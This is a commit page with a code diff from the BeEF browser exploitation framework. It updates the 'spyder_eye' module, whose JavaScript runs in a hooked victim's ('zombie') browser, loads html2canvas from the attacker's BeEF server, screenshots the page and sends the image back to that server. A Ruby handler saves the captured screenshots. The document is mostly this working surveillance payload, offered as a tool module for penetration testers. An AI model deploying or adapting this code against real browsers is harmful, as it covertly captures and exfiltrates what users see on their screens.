Update html2canvas component in the spyder_eye module from 0.4 to 0.5.0-alpha1 which resulted in much more detailed screenshot, as can be seen in: http://imgur.com/a/Sm9OG . Also, armored a bit the code running in the zombie' browser. Branch is called 'get_snapshot' as I didn't know that there is already a module utilizing terrific html2canvas.
This commit is contained in:
@@ -6,17 +6,30 @@
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var script = document.createElement( 'script' );
|
||||
script.type = 'text/javascript';
|
||||
script.src = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/html2canvas.js';
|
||||
$j("body").append( script );
|
||||
takeit = function() {
|
||||
try {
|
||||
html2canvas(document.body).then(function(canvas) {
|
||||
var d = canvas.toDataURL('image/png');
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'image=' + d );
|
||||
ret = true;
|
||||
alert('Did it.');
|
||||
});
|
||||
}
|
||||
catch (e) {
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Obtaining snapshot failed: ' + e.message);
|
||||
alert('FAILED.');
|
||||
}
|
||||
};
|
||||
|
||||
html2canvas(document.body, {
|
||||
onrendered: function(canvas) {
|
||||
var img = canvas.toDataURL("image/png");
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "image="+img);
|
||||
//beef.net.send("<%= @command_url %>", <%= @command_id %>, "image=All done");
|
||||
}
|
||||
});
|
||||
if (typeof html2canvas == "undefined") {
|
||||
var script = document.createElement('script');
|
||||
script.type = 'text/javascript';
|
||||
script.src = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/h2c.js';
|
||||
$j("body").append(script);
|
||||
|
||||
setTimeout(takeit, 400);
|
||||
}
|
||||
else {
|
||||
takeit();
|
||||
}
|
||||
});
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -7,7 +7,7 @@ class Spyder_eye < BeEF::Core::Command
|
||||
require 'base64'
|
||||
|
||||
def pre_send
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/spyder_eye/html2canvas.js', '/html2canvas', 'js')
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/browser/spyder_eye/html2canvas.js', '/h2c', 'js')
|
||||
end
|
||||
|
||||
def post_execute
|
||||
@@ -28,8 +28,6 @@ class Spyder_eye < BeEF::Core::Command
|
||||
print_error("Could not write screenshot file '#{filename}' - Exception: #{e.message}")
|
||||
end
|
||||
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/html2canvas.js')
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/h2c.js')
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user